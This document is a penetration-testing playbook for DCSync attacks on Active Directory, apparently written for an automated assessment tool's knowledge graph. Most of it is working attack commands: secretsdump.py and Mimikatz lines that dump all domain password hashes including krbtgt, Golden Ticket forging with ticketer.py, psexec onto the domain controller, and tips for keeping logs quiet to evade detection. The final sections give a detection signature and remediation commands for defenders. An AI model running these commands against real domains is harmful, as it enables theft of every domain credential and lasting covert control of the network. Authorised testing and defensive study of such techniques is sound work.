Dcsync

DCSync Playbook

DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.

1. Identify DCSync candidates

From BloodHound:

kg_query(kind="user", filter="dcsync=true") +
kg_query(kind="group", filter="dcsync=true")

Or Cypher direct:

MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)

Common holders (legitimate):

• Domain Admins, Enterprise Admins, Domain Controllers
• Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
• Replicator (rare)

Common holders (misconfig = jackpot):

• Service accounts (admins delegated mistakenly)
• Helpdesk groups
• Groups from old migrations

2. Execute DCSync

Impacket (most reliable):

# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
  -outputfile /tmp/secrets

# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'

# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc

# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc

Mimikatz (from Windows):

lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv

3. Output files

secretsdump produces:

• /tmp/secrets.ntds — user:RID:LM_HASH:NT_HASH::: format
• /tmp/secrets.ntds.kerberos — Kerberos keys (aes256, aes128, des)
• /tmp/secrets.ntds.cleartext — any reversibly-encrypted passwords (rare, but yes)

4. Highest-value secrets to grab

5. Golden Ticket (post-DCSync)

With krbtgt NT hash:

ticketer.py -nthash KRBTGT_NT \
  -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \
  -domain 'dom.local' \
  Administrator
# Produces Administrator.ccache — TGT for Administrator that lasts 10 years

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'DC@DC_FQDN'

6. Promote

kg_add_node(kind="credential", label="krbtgt:NT_HASH",
            props={"source":"dcsync","value":"<hash>"})
kg_add_node(kind="vulnerability", label="DCSync from <principal>",
            props={"severity":"critical"})
kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts")
kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises")

OPSEC

• DCSync generates event 4662 on DCs with Properties: Replicating Directory Changes
• Defender's high-signal detection (the only good DCSync detection)
• BloodHound's :DS-Replication-Get-Changes GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
• A single DCSync run, scoped to one user (-just-dc-user), produces less log volume than -just-dc
• Use Kerberos auth (-k) instead of NTLM to avoid 4624 type-3 noise

Detection signature (so you know what blue sees)

EventCode=4662
ObjectType=domainDNS
Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
SubjectUserName != *$  (filter out DC computer accounts)

CVSS

• DCSync available to non-DC principal: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
• Already DA + DCSync: not a separate finding, just post-compromise activity

Defender remediation

# Audit current holders of replication rights
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |
  Select -ExpandProperty nTSecurityDescriptor |
  Select -ExpandProperty Access |
  Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove unauthorized holders via dsacls
dsacls "DC=dom,DC=local" /R "DOM\BadPrincipal"